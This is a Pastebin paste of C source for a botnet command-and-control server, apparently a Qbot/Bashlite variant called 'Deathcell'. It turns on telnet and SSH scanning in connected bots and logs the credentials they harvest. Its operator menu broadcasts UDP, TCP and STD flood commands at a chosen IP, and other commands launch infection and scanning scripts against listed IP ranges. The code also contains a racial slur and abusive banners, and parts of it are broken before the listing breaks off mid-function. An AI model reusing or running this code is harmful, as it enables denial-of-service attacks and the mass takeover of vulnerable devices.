KaraKeiji

Deathcell.c

Mar 15th, 2018
72
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 36.19 KB | None | 0 0
  1. /*
  2. Screen Usage: screen ./server [client-port] [threads] [cnc-port]
  3. */
  4. #include <stdio.h>
  5. #include <stdlib.h>
  6. #include <stdint.h>
  7. #include <inttypes.h>
  8. #include <string.h>
  9. #include <sys/types.h>
  10. #include <sys/socket.h>
  11. #include <netdb.h>
  12. #include <unistd.h>
  13. #include <time.h>
  14. #include <fcntl.h>
  15. #include <sys/epoll.h>
  16. #include <errno.h>
  17. #include <pthread.h>
  18. #include <signal.h>
  19. #include <arpa/inet.h>
  20. #define MAXFDS 1000000
  21. //////////////////////////////////
  22. struct login_info {
  23. char username[20];
  24. char password[20];
  25. };
  26. static struct login_info accounts[2];
  27. struct clientdata_t {
  28. uint32_t ip;
  29. char connected;
  30. } clients[MAXFDS];
  31. struct telnetdata_t {
  32. int connected;
  33. } managements[MAXFDS];
  34. struct args {
  35. int sock;
  36. struct sockaddr_in cli_addr;
  37. };
  38. static volatile FILE *telFD;
  39. static volatile FILE *fileFD;
  40. static volatile int epollFD = 0;
  41. static volatile int listenFD = 0;
  42. static volatile int OperatorsConnected = 0;
  43. static volatile int TELFound = 0;
  44. static volatile int scannerreport;
  45. //////////////////////////////////
  46. int fdgets(unsigned char *buffer, int bufferSize, int fd) {
  47. int total = 0, got = 1;
  48. while(got == 1 && total < bufferSize && *(buffer + total - 1) != '\n') { got = read(fd, buffer + total, 1); total++; }
  49. return got;
  50. }
  51. void trim(char *str) {
  52. int i;
  53. int begin = 0;
  54. int end = strlen(str) - 1;
  55. while (isspace(str[begin])) begin++;
  56. while ((end >= begin) && isspace(str[end])) end--;
  57. for (i = begin; i <= end; i++) str[i - begin] = str[i];
  58. str[i - begin] = '\0';
  59. }
  60. static int make_socket_non_blocking (int sfd) {
  61. int flags, s;
  62. flags = fcntl (sfd, F_GETFL, 0);
  63. if (flags == -1) {
  64. perror ("fcntl");
  65. return -1;
  66. }
  67. flags |= O_NONBLOCK;
  68. s = fcntl (sfd, F_SETFL, flags);
  69. if (s == -1) {
  70. perror ("fcntl");
  71. return -1;
  72. }
  73. return 0;
  74. }
  75. static int create_and_bind (char *port) {
  76. struct addrinfo hints;
  77. struct addrinfo *result, *rp;
  78. int s, sfd;
  79. memset (&hints, 0, sizeof (struct addrinfo));
  80. hints.ai_family = AF_UNSPEC; /* Return IPv4 and IPv6 choices */
  81. hints.ai_socktype = SOCK_STREAM; /* We want a TCP socket */
  82. hints.ai_flags = AI_PASSIVE; /* All interfaces */
  83. s = getaddrinfo (NULL, port, &hints, &result);
  84. if (s != 0) {
  85. fprintf (stderr, "getaddrinfo: %s\n", gai_strerror (s));
  86. return -1;
  87. }
  88. for (rp = result; rp != NULL; rp = rp->ai_next) {
  89. sfd = socket (rp->ai_family, rp->ai_socktype, rp->ai_protocol);
  90. if (sfd == -1) continue;
  91. int yes = 1;
  92. if ( setsockopt(sfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1 ) perror("setsockopt");
  93. s = bind (sfd, rp->ai_addr, rp->ai_addrlen);
  94. if (s == 0) {
  95. break;
  96. }
  97. close (sfd);
  98. }
  99. if (rp == NULL) {
  100. fprintf (stderr, "Could not bind\n");
  101. return -1;
  102. }
  103. freeaddrinfo (result);
  104. return sfd;
  105. }
  106. void broadcast(char *msg, int us, char *sender)
  107. {
  108. int sendMGM = 1;
  109. if(strcmp(msg, "PING") == 0) sendMGM = 0;
  110. char *wot = malloc(strlen(msg) + 10);
  111. memset(wot, 0, strlen(msg) + 10);
  112. strcpy(wot, msg);
  113. trim(wot);
  114. time_t rawtime;
  115. struct tm * timeinfo;
  116. time(&rawtime);
  117. timeinfo = localtime(&rawtime);
  118. char *timestamp = asctime(timeinfo);
  119. trim(timestamp);
  120. int i;
  121. for(i = 0; i < MAXFDS; i++)
  122. {
  123. if(i == us || (!clients[i].connected && (sendMGM == 0 || !managements[i].connected))) continue;
  124. if(sendMGM && managements[i].connected)
  125. {
  126. send(i, "\x1b[33m", 5, MSG_NOSIGNAL);
  127. send(i, sender, strlen(sender), MSG_NOSIGNAL);
  128. send(i, ": ", 2, MSG_NOSIGNAL);
  129. }
  130. printf("sent to fd: %d\n", i);
  131. send(i, msg, strlen(msg), MSG_NOSIGNAL);
  132. if(sendMGM && managements[i].connected) send(i, "\r\n\x1b[31m> \x1b[0m", 13, MSG_NOSIGNAL);
  133. else send(i, "\n", 1, MSG_NOSIGNAL);
  134. }
  135. free(wot);
  136. }
  137. void *BotEventLoop(void *useless) {
  138. struct epoll_event event;
  139. struct epoll_event *events;
  140. int s;
  141. events = calloc (MAXFDS, sizeof event);
  142. while (1) {
  143. int n, i;
  144. n = epoll_wait (epollFD, events, MAXFDS, -1);
  145. for (i = 0; i < n; i++) {
  146. if ((events[i].events & EPOLLERR) || (events[i].events & EPOLLHUP) || (!(events[i].events & EPOLLIN))) {
  147. clients[events[i].data.fd].connected = 0;
  148. close(events[i].data.fd);
  149. continue;
  150. }
  151. else if (listenFD == events[i].data.fd) {
  152. while (1) {
  153. struct sockaddr in_addr;
  154. socklen_t in_len;
  155. int infd, ipIndex;
  156.  
  157. in_len = sizeof in_addr;
  158. infd = accept (listenFD, &in_addr, &in_len);
  159. if (infd == -1) {
  160. if ((errno == EAGAIN) || (errno == EWOULDBLOCK)) break;
  161. else {
  162. perror ("accept");
  163. break;
  164. }
  165. }
  166.  
  167. clients[infd].ip = ((struct sockaddr_in *)&in_addr)->sin_addr.s_addr;
  168. int dup = 0;
  169. for(ipIndex = 0; ipIndex < MAXFDS; ipIndex++) {
  170. if(!clients[ipIndex].connected || ipIndex == infd) continue;
  171. if(clients[ipIndex].ip == clients[infd].ip) {
  172. dup = 1;
  173. break;
  174. }}
  175. if(dup) {
  176. if(send(infd, "!* LOLNOGTFO\n", 13, MSG_NOSIGNAL) == -1) { close(infd); continue; }
  177. close(infd);
  178. continue;
  179. }
  180. s = make_socket_non_blocking (infd);
  181. if (s == -1) { close(infd); break; }
  182. event.data.fd = infd;
  183. event.events = EPOLLIN | EPOLLET;
  184. s = epoll_ctl (epollFD, EPOLL_CTL_ADD, infd, &event);
  185. if (s == -1) {
  186. perror ("epoll_ctl");
  187. close(infd);
  188. break;
  189. }
  190. clients[infd].connected = 1;
  191. send(infd, "!* TELNET_SCAN ON\n", 18, MSG_NOSIGNAL);
  192. send(infd, "!* SSH_SCAN ON\n", 15, MSG_NOSIGNAL);
  193. }
  194. continue;
  195. }
  196. else {
  197. int datafd = events[i].data.fd;
  198. struct clientdata_t *client = &(clients[datafd]);
  199. int done = 0;
  200. client->connected = 1;
  201. while (1) {
  202. ssize_t count;
  203. char buf[2048];
  204. memset(buf, 0, sizeof buf);
  205. while(memset(buf, 0, sizeof buf) && (count = fdgets(buf, sizeof buf, datafd)) > 0) {
  206. if(strstr(buf, "\n") == NULL) { done = 1; break; }
  207. trim(buf);
  208. if(strcmp(buf, "PING") == 0) {
  209. if(send(datafd, "PONG\n", 5, MSG_NOSIGNAL) == -1) { done = 1; break; }
  210. continue;
  211. }
  212. if(strstr(buf, "REPORT ") == buf) {
  213. char *line = strstr(buf, "REPORT ") + 7;
  214. fprintf(telFD, "%s\n", line);
  215. fflush(telFD);
  216. TELFound++;
  217. continue;
  218. }
  219. if(strstr(buf, "PROBING") == buf) {
  220. char *line = strstr(buf, "PROBING");
  221. scannerreport = 1;
  222. continue;
  223. }
  224. if(strstr(buf, "REMOVING PROBE") == buf) {
  225. char *line = strstr(buf, "REMOVING PROBE");
  226. scannerreport = 0;
  227. continue;
  228. }
  229. if(strcmp(buf, "PONG") == 0) {
  230. continue;
  231. }
  232. printf("buf: \"%s\"\n", buf);
  233. }
  234. if (count == -1) {
  235. if (errno != EAGAIN) {
  236. done = 1;
  237. }
  238. break;
  239. }
  240. else if (count == 0) {
  241. done = 1;
  242. break;
  243. }
  244. if (done) {
  245. client->connected = 0;
  246. close(datafd);
  247. }}}}}}
  248. unsigned int BotsConnected() {
  249. int i = 0, total = 0;
  250. for(i = 0; i < MAXFDS; i++) {
  251. if(!clients[i].connected) continue;
  252. total++;
  253. }
  254. return total;
  255. }
  256. void *TitleWriter(void *sock) {
  257. int datafd = (int)sock;
  258. char string[2048];
  259. while(1) {
  260. memset(string, 0, 2048);
  261. sprintf(string, "%c]0;BOT COUNT: %d| NIGGAS: %d%c", '\033', BotsConnected(), OperatorsConnected, '\007');
  262. if(send(datafd, string, strlen(string), MSG_NOSIGNAL) == -1) return;
  263. sleep(2);
  264. }}
  265. int Find_Login(char *str) {
  266. FILE *fp;
  267. int line_num = 0;
  268. int find_result = 0, find_line=0;
  269. char temp[512];
  270.  
  271. if((fp = fopen("login.txt", "r")) == NULL){
  272. return(-1);
  273. }
  274. while(fgets(temp, 512, fp) != NULL){
  275. if((strstr(temp, str)) != NULL){
  276. find_result++;
  277. find_line = line_num;
  278. }
  279. line_num++;
  280. }
  281. if(fp)
  282. fclose(fp);
  283. if(find_result == 0)return 0;
  284. return find_line;
  285. }
  286. void *BotWorker(void *sock) {
  287. int datafd = (int)sock;
  288. int find_line;
  289. OperatorsConnected++;
  290. pthread_t title;
  291. char buf[2048];
  292. char* username;
  293. char* password;
  294. memset(buf, 0, sizeof buf);
  295. char botnet[2048];
  296. memset(botnet, 0, 2048);
  297. char botcount [2048];
  298. memset(botcount, 0, 2048);
  299. char statuscount [2048];
  300. memset(statuscount, 0, 2048);
  301.  
  302. FILE *fp;
  303. int i=0;
  304. int c;
  305. fp=fopen("login.txt", "r");
  306. while(!feof(fp)) {
  307. c=fgetc(fp);
  308. ++i;
  309. }
  310. int j=0;
  311. rewind(fp);
  312. while(j!=i-1) {
  313. fscanf(fp, "%s %s", accounts[j].username, accounts[j].password);
  314. ++j;
  315. }
  316.  
  317. if(send(datafd, "\x1b[30mUsername:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  318. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  319. trim(buf);
  320. char* nickstring;
  321. sprintf(accounts[find_line].username, buf);
  322. nickstring = ("%s", buf);
  323. find_line = Find_Login(nickstring);
  324. if(strcmp(nickstring, accounts[find_line].username) == 0){
  325. if(send(datafd, "\x1b[30mPassword:\x1b[30m ", 22, MSG_NOSIGNAL) == -1) goto end;
  326. if(fdgets(buf, sizeof buf, datafd) < 1) goto end;
  327. trim(buf);
  328. if(strcmp(buf, accounts[find_line].password) != 0) goto failed;
  329. memset(buf, 0, 2048);
  330. goto Banner;
  331. }
  332. failed:
  333. if(send(datafd, "\033[1A", 5, MSG_NOSIGNAL) == -1) goto end;
  334. char failed_line1[80];
  335. char ascii_failed_line1 [80];
  336. char ascii_failed_line2 [80];
  337. char ascii_failed_line3 [80];
  338. char ascii_failed_line4 [80];
  339. char ascii_failed_line5 [80];
  340. char ascii_failed_line6 [80];
  341. char ascii_failed_line7 [80];
  342. char ascii_failed_line8 [80];
  343. char ascii_failed_line9 [80];
  344. char ascii_failed_line10 [80];
  345. char ascii_failed_line11 [80];
  346. char ascii_failed_line12 [80];
  347. char ascii_failed_line13 [80];
  348. char ascii_failed_line14 [80];
  349. char ascii_failed_line15 [80];
  350. char ascii_failed_line16 [80];
  351. char ascii_failed_line17 [80];
  352.  
  353. sprintf(ascii_failed_line1, "\x1b[31m / \ \r\n");
  354. sprintf(ascii_failed_line2, "\x1b[31m |\_/| \r\n");
  355. sprintf(ascii_failed_line3, "\x1b[31m |---| \r\n");
  356. sprintf(ascii_failed_line4, "\x1b[31m | | \r\n");
  357. sprintf(ascii_failed_line5, "\x1b[31m | | \r\n");
  358. sprintf(ascii_failed_line6, "\x1b[31m _ |=-=| _ \r\n");
  359. sprintf(ascii_failed_line7, "\x1b[31m _ / \| |/ \ _ \r\n");
  360. sprintf(ascii_failed_line8, "\x1b[31m / \| | | | \ \r\n");
  361. sprintf(ascii_failed_line9, "\x1b[31m| | | | | \ \r\n");
  362. sprintf(ascii_failed_line10, "\x1b[31m| | | | | | \r\n");
  363. sprintf(ascii_failed_line11, "\x1b[31m| - - - - |) ) \r\n");
  364. sprintf(ascii_failed_line12, "\x1b[31m| / \r\n");
  365. sprintf(ascii_failed_line13, "\x1b[31m \ / \r\n");
  366. sprintf(ascii_failed_line14, "\x1b[31m \ / \r\n");
  367. sprintf(ascii_failed_line15, "\x1b[31m \ / \r\n");
  368. sprintf(ascii_failed_line16, "\x1b[31m \ / \r\n");
  369. sprintf(ascii_failed_line17, "\x1b[31m | | \r\n");
  370.  
  371. sprintf(failed_line1, "\r\n\x1b[31mWRONG ANSWER BITCH!!\r\n");
  372.  
  373. if(send(datafd, ascii_failed_line1, strlen(ascii_failed_line1), MSG_NOSIGNAL) == -1) goto end;
  374. if(send(datafd, ascii_failed_line2, strlen(ascii_failed_line2), MSG_NOSIGNAL) == -1) goto end;
  375. if(send(datafd, ascii_failed_line3, strlen(ascii_failed_line3), MSG_NOSIGNAL) == -1) goto end;
  376. if(send(datafd, ascii_failed_line4, strlen(ascii_failed_line4), MSG_NOSIGNAL) == -1) goto end;
  377. if(send(datafd, ascii_failed_line5, strlen(ascii_failed_line5), MSG_NOSIGNAL) == -1) goto end;
  378. if(send(datafd, ascii_failed_line6, strlen(ascii_failed_line6), MSG_NOSIGNAL) == -1) goto end;
  379. if(send(datafd, ascii_failed_line7, strlen(ascii_failed_line7), MSG_NOSIGNAL) == -1) goto end;
  380. if(send(datafd, ascii_failed_line8, strlen(ascii_failed_line8), MSG_NOSIGNAL) == -1) goto end;
  381. if(send(datafd, ascii_failed_line9, strlen(ascii_failed_line9), MSG_NOSIGNAL) == -1) goto end;
  382. if(send(datafd, ascii_failed_line10, strlen(ascii_failed_line10), MSG_NOSIGNAL) == -1) goto end;
  383. if(send(datafd, ascii_failed_line11, strlen(ascii_failed_line11), MSG_NOSIGNAL) == -1) goto end;
  384. if(send(datafd, ascii_failed_line12, strlen(ascii_failed_line12), MSG_NOSIGNAL) == -1) goto end;
  385. if(send(datafd, ascii_failed_line13, strlen(ascii_failed_line13), MSG_NOSIGNAL) == -1) goto end;
  386. if(send(datafd, ascii_failed_line14, strlen(ascii_failed_line14), MSG_NOSIGNAL) == -1) goto end;
  387. if(send(datafd, ascii_failed_line15, strlen(ascii_failed_line15), MSG_NOSIGNAL) == -1) goto end;
  388. if(send(datafd, ascii_failed_line16, strlen(ascii_failed_line16), MSG_NOSIGNAL) == -1) goto end;
  389. if(send(datafd, ascii_failed_line17, strlen(ascii_failed_line17), MSG_NOSIGNAL) == -1) goto end;
  390.  
  391. if(send(datafd, failed_line1, strlen(failed_line1), MSG_NOSIGNAL) == -1) goto end;
  392. sleep(5);
  393. goto end;
  394.  
  395. Banner:
  396. pthread_create(&title, NULL, &TitleWriter, sock);
  397. char ascii_banner_line1 [5000];
  398. char ascii_banner_line2 [5000];
  399. char ascii_banner_line3 [5000];
  400. char ascii_banner_line4 [5000];
  401. char ascii_banner_line5 [5000];
  402. char ascii_banner_line6 [5000];
  403. char ascii_banner_line7 [5000];
  404. char ascii_banner_line8 [5000];
  405. char ascii_banner_line9 [5000];
  406. char ascii_banner_line10 [5000];
  407. char ascii_banner_line11 [5000];
  408. char ascii_banner_line12 [5000];
  409. char ascii_banner_line13 [5000];
  410. char ascii_banner_line14 [5000];
  411. char welcome_line [80];
  412. char banner_text_line1 [80];
  413. char banner_text_line2 [80];
  414. char banner_bot_count [2048];
  415. memset(banner_bot_count, 0, 2048);
  416.  
  417. sprintf(ascii_banner_line8, "\e[1;33m☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢\r\n");
  418. sprintf(ascii_banner_line1, "\e[1;33m☢\e[0;31m::::::::: :::::::::: ::: ::::::::::: ::: ::: :::::::: :::::::::: ::: ::: \e[1;33m☢\r\n");
  419. sprintf(ascii_banner_line2, "\e[1;33m☢\e[0;31m:+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: :+: \e[1;33m☢\r\n");
  420. sprintf(ascii_banner_line3, "\x1b[33m☢\e[0;31m+:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ +:+ \e[1;33m☢\r\n");
  421. sprintf(ascii_banner_line4, "\e[1;33m☢\e[0;31m+#+ +:+ +#++:++# +#++:++#++: +#+ +#++:++#++ +#+ +#++:++# +#+ +#+ \e[1;33m☢\r\n");
  422. sprintf(ascii_banner_line5, "\e[1;33m☢\e[0;31m+#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ +#+ \e[1;33m☢\r\n");
  423. sprintf(ascii_banner_line6, "\e[1;33m☢\e[0;31m#+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# #+# \e[1;33m☢\r\n");
  424. sprintf(ascii_banner_line7, "\e[1;33m☢\e[0;31m######### ########## ### ### ### ### ### ######## ########## ########## ########## \e[1;33m☢\r\n");
  425. sprintf(ascii_banner_line8, "\e[1;33m☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢☢\r\n");
  426. sprintf(ascii_banner_line8, "\e[1;33m☢\e[1;36m~~~~~~~~~~~Welcome The NET\e[1;36m~~~~~~~~~~~~~\e[1;33m☢\r\n");
  427. sprintf(welcome_line, "\r\n\x1b[34m\e[1;33m☢ \e[0;31mInfected\e[1;36m:\e[0;32m %d \e[1;33m☢ \e[1;32mWelcome,\e[1;36m %s \e[1;33m☢ \e[1;31mCIA \e[1;32mOnline: %d \e[1;33m☢\r\n", BotsConnected(), accounts[find_line].username, OperatorsConnected);
  428. sprintf(banner_text_line1, " \e[1;33m☢ \e[1;37mTYPE \e[1;32mHELP \e[1;37mFOR LIST OF COMMMANDS \e[1;33m☢\r\n");
  429. sprintf(banner_text_line2, " \e[1;33m☢ \e[1;37mTYPE \e[1;32mATTACK \e[1;37mFOR ATTACK GUI \e[1;33m☢");
  430.  
  431.  
  432. if(send(datafd, ascii_banner_line1, strlen(ascii_banner_line1), MSG_NOSIGNAL) == -1) goto end;
  433. if(send(datafd, ascii_banner_line2, strlen(ascii_banner_line2), MSG_NOSIGNAL) == -1) goto end;
  434. if(send(datafd, ascii_banner_line3, strlen(ascii_banner_line3), MSG_NOSIGNAL) == -1) goto end;
  435. if(send(datafd, ascii_banner_line4, strlen(ascii_banner_line4), MSG_NOSIGNAL) == -1) goto end;
  436. if(send(datafd, ascii_banner_line5, strlen(ascii_banner_line5), MSG_NOSIGNAL) == -1) goto end;
  437. if(send(datafd, ascii_banner_line6, strlen(ascii_banner_line6), MSG_NOSIGNAL) == -1) goto end;
  438. if(send(datafd, ascii_banner_line7, strlen(ascii_banner_line7), MSG_NOSIGNAL) == -1) goto end;
  439. if(send(datafd, ascii_banner_line8, strlen(ascii_banner_line8), MSG_NOSIGNAL) == -1) goto end;
  440. if(send(datafd, ascii_banner_line9, strlen(ascii_banner_line9), MSG_NOSIGNAL) == -1) goto end;
  441. if(send(datafd, ascii_banner_line10, strlen(ascii_banner_line10), MSG_NOSIGNAL) == -1) goto end;
  442. if(send(datafd, ascii_banner_line11, strlen(ascii_banner_line11), MSG_NOSIGNAL) == -1) goto end;
  443. if(send(datafd, ascii_banner_line12, strlen(ascii_banner_line12), MSG_NOSIGNAL) == -1) goto end;
  444. if(send(datafd, ascii_banner_line13, strlen(ascii_banner_line13), MSG_NOSIGNAL) == -1) goto end;
  445. if(send(datafd, ascii_banner_line14, strlen(ascii_banner_line14), MSG_NOSIGNAL) == -1) goto end;
  446. if(send(datafd, welcome_line, strlen(welcome_line), MSG_NOSIGNAL) == -1) goto end;
  447. while(1) {
  448. if(send(datafd, banner_bot_count, strlen(banner_bot_count), MSG_NOSIGNAL) == -1) goto end;
  449. if(send(datafd, banner_text_line1, strlen(banner_text_line1), MSG_NOSIGNAL) == -1) goto end;
  450. if(send(datafd, banner_text_line2, strlen(banner_text_line2), MSG_NOSIGNAL) == -1) goto end;
  451. if(send(datafd, "\x1b[32m> \x1b[37m", 12, MSG_NOSIGNAL) == -1) goto end;
  452. break;
  453. }
  454. pthread_create(&title, NULL, &TitleWriter, sock);
  455. managements[datafd].connected = 1;
  456.  
  457. while(fdgets(buf, sizeof buf, datafd) > 0)
  458. {
  459.  
  460. if(strstr(buf, "ATTACK"))
  461. {
  462. int choice;
  463.  
  464. char ATTACK_MENU [2048];
  465.  
  466. char UDP_ATTACK [2048];
  467. char UDP_ATTACK_MESSAGE [2048];
  468. char UDP_ATTACK_IP;
  469. char UDP_ATTACK_PORT;
  470. char UDP_ATTACK_SEC;
  471. char UDP_ATTACK_SEND_COMMAND;
  472.  
  473. char TCP_ATTACK [2048];
  474. char TCP_ATTACK_MESSAGE [2048];
  475. char TCP_ATTACK_IP;
  476. char TCP_ATTACK_PORT;
  477. char TCP_ATTACK_SEC;
  478. char TCP_ATTACK_SEND_COMMAND;
  479.  
  480. char STD_ATTACK [2048];
  481. char STD_ATTACK_MESSAGE [2048];
  482. char STD_ATTACK_IP;
  483. char STD_ATTACK_PORT;
  484. char STD_ATTACK_SEC;
  485. char STD_ATTACK_SEND_COMMAND;
  486.  
  487. sprintf(ATTACK_MENU, "[+] ATTACK OPTIONS [+]");
  488. if(send(datafd, ATTACK_MENU, strlen(ATTACK_MENU), MSG_NOSIGNAL) == -1) goto end;
  489. do
  490. {
  491. sprintf(UDP_ATTACK, "[-] 1. UDP ATTACK\r\n");
  492. sprintf(TCP_ATTACK, "[-] 2. TCP ATTACK\r\n");
  493. sprintf(STD_ATTACK, "[-] 3. STD Attack\r\n");
  494.  
  495. if(send(datafd, UDP_ATTACK, strlen(UDP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  496. if(send(datafd, TCP_ATTACK, strlen(TCP_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  497. if(send(datafd, STD_ATTACK, strlen(STD_ATTACK), MSG_NOSIGNAL) == -1) goto end;
  498. scanf("%d", &choice);
  499.  
  500. switch(choice)
  501. {
  502. case 1:
  503.  
  504. sprintf(UDP_ATTACK_IP, "IP: ");
  505. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  506. scanf("%d", &UDP_ATTACK_IP);
  507.  
  508. sprintf(UDP_ATTACK_PORT, "Port: ");
  509. if(send(datafd, UDP_ATTACK_IP, strlen(UDP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  510. scanf("%d", &UDP_ATTACK_PORT);
  511.  
  512. sprintf("Sec: ", &UDP_ATTACK_SEC);
  513. if(send(datafd, UDP_ATTACK_SEC, strlen(UDP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  514. scanf("%d", &UDP_ATTACK_SEC);
  515.  
  516. sprintf(UDP_ATTACK_SEND_COMMAND, "!* UDP %d %d %d 32 0 10", UDP_ATTACK_IP, UDP_ATTACK_PORT, UDP_ATTACK_SEC);
  517. broadcast(UDP_ATTACK_SEND_COMMAND, datafd, "SENT");
  518. if(send(datafd, UDP_ATTACK_SEND_COMMAND, strlen(UDP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  519.  
  520. sprintf(UDP_ATTACK_MESSAGE, "UDP Attack Sent!");
  521. if(send(datafd, UDP_ATTACK_MESSAGE, strlen(UDP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  522.  
  523. continue;
  524. case 2:
  525.  
  526. sprintf(TCP_ATTACK_IP, "IP: ");
  527. if(send(datafd, TCP_ATTACK_IP, strlen(TCP_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  528. scanf("%d", &TCP_ATTACK_IP);
  529.  
  530. sprintf(TCP_ATTACK_PORT, "Port: ");
  531. if(send(datafd, TCP_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  532. scanf("%d", &TCP_ATTACK_PORT);
  533.  
  534. sprintf(TCP_ATTACK_SEC, "Sec: ");
  535. if(send(datafd, TCP_ATTACK_SEC, strlen(TCP_ATTACK_SEC), MSG_NOSIGNAL) == -1) goto end;
  536. scanf("%d", &TCP_ATTACK_SEC);
  537.  
  538. sprintf(TCP_ATTACK_SEND_COMMAND, "!* TCP %d %d %d 32 all 0 10", TCP_ATTACK_IP, TCP_ATTACK_PORT, TCP_ATTACK_SEC);
  539. broadcast(TCP_ATTACK_SEND_COMMAND, datafd, "SENT");
  540. if(send(datafd, TCP_ATTACK_SEND_COMMAND, strlen(TCP_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  541.  
  542. sprintf(TCP_ATTACK_MESSAGE, "TCP Attack Sent!");
  543. if(send(datafd, TCP_ATTACK_MESSAGE, strlen(TCP_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  544.  
  545. continue;
  546.  
  547. case 3:
  548.  
  549. sprintf(STD_ATTACK_IP, "IP: ");
  550. if(send(datafd, STD_ATTACK_IP, strlen(STD_ATTACK_IP), MSG_NOSIGNAL) == -1) goto end;
  551. scanf("%d", &STD_ATTACK_IP);
  552.  
  553. sprintf(STD_ATTACK_PORT, "Port: ");
  554. if(send(datafd, STD_ATTACK_PORT, strlen(TCP_ATTACK_PORT), MSG_NOSIGNAL) == -1) goto end;
  555. scanf("%d", &STD_ATTACK_PORT);
  556.  
  557. sprintf(STD_ATTACK_SEND_COMMAND, "!* STD %d %d %d", STD_ATTACK_IP, STD_ATTACK_PORT, STD_ATTACK_SEC);
  558. broadcast(STD_ATTACK_SEND_COMMAND, datafd, "SENT");
  559. if(send(datafd, STD_ATTACK_SEND_COMMAND, strlen(STD_ATTACK_SEND_COMMAND), MSG_NOSIGNAL) == -1) goto end;
  560.  
  561. sprintf(STD_ATTACK_MESSAGE, "STD Attack Sent!");
  562. if(send(datafd, STD_ATTACK_MESSAGE, strlen(STD_ATTACK_MESSAGE), MSG_NOSIGNAL) == -1) goto end;
  563.  
  564. continue;
  565.  
  566.  
  567. }}
  568. while(choice !=3);
  569. }
  570. if(strstr(buf, "BOTS"))
  571. {
  572. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  573. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  574. continue;
  575. }
  576. if(strstr(buf, "STATUS"))
  577. {
  578. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  579. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  580. continue;
  581. }
  582. if(strstr(buf, "STATS"))
  583. {
  584. sprintf(botcount, "BOT COUNT: %d | NIGGAS: %d\r\n", BotsConnected(), OperatorsConnected);
  585. if(send(datafd, botcount, strlen(botcount), MSG_NOSIGNAL) == -1) return;
  586. sprintf(statuscount, "TELNET DEVICES: %d | TELNET STATUS: %d\r\n", TELFound, scannerreport);
  587. if(send(datafd, statuscount, strlen(statuscount), MSG_NOSIGNAL) == -1) return;
  588. continue;
  589. }
  590. if(strstr(buf, "INFECT"))
  591. {
  592. system("python telnet.py filtered.txt");
  593. continue;
  594. }
  595. if(strstr(buf, "REINFECT"))
  596. {
  597. system("python w.py filtered_ssh.txt");
  598. continue;
  599. }
  600. if(strstr(buf, "FILTER"))
  601. {
  602. system("sort telnet.txt | uniq -u>>filtered_telnet.txt;sort infected.txt | uniq -u>>filtered_ssh.txt");
  603. continue;
  604. }
  605. if(strstr(buf, "LOAD"))
  606. {
  607. system("python scan.py 376 LOAD 88 1");
  608. continue;
  609. }
  610. if(strstr(buf, "SCAN1"))
  611. {
  612. system("python scan.py 376 B 119.92 lol");
  613. continue;
  614. }
  615. if(strstr(buf, "SCAN2"))
  616. {
  617. system("python scan.py 376 B 119.93 lol");
  618. continue;
  619. }
  620. if(strstr(buf, "SCAN3")) {
  621. system("python scan.py 376 B 125.25 1");
  622. continue;
  623. }
  624. if(strstr(buf, "SCAN4"))
  625. {
  626. system("python scan.py 376 B 125.26 1");
  627. continue;
  628. }
  629. if(strstr(buf, "SCAN5")) {
  630. system("python scan.py 376 B 125.27 1");
  631. continue;
  632. }
  633. if(strstr(buf, "SCAN6")) {
  634. system("python scan.py 376 B 113.53 1");
  635. continue;
  636. }
  637. if(strstr(buf, "SCAN7"))
  638. {
  639. system("python scan.py 376 B 180.180 1");
  640. continue;
  641. }
  642. if(strstr(buf, "SCAN8"))
  643. {
  644. system("python scan.py 376 B 185.52 1");
  645. continue;
  646. }
  647. if(strstr(buf, "SCAN9"))
  648. {
  649. system("python scan.py 376 B 122.52 1");
  650. continue;
  651. }
  652. if(strstr(buf, "SCAN10"))
  653. {
  654. system("python scan.py 376 B 122.53 1");
  655. continue;
  656. }
  657. if(strstr(buf, "SCAN11"))
  658. {
  659. system("python scan.py 376 B 101.102");
  660. continue;
  661. }
  662. if(strstr(buf, "LUCKY"))
  663. {
  664. system("python scan.py 376 LUCKY 88 1");
  665. continue;
  666. }
  667. if(strstr(buf, "LUCKY2"))
  668. {
  669. system("python scan.py 376 LUCKY2 88 1");
  670. continue;
  671. }
  672. if(strstr(buf, "SCAN_OFF"))
  673. {
  674. system("killall -9 python");
  675. continue;
